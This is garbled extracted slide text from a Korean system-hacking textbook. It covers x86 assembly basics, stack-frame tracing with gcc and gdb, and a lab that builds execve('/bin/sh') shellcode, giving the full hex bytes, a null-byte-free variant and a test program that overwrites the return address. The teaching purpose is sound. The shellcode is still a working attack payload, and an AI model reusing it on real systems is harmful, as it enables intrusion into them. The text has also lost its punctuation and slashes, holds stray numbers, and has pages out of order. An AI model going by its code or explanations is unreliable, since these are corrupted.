bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 13: 80×86  시스템에 대한 이해

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

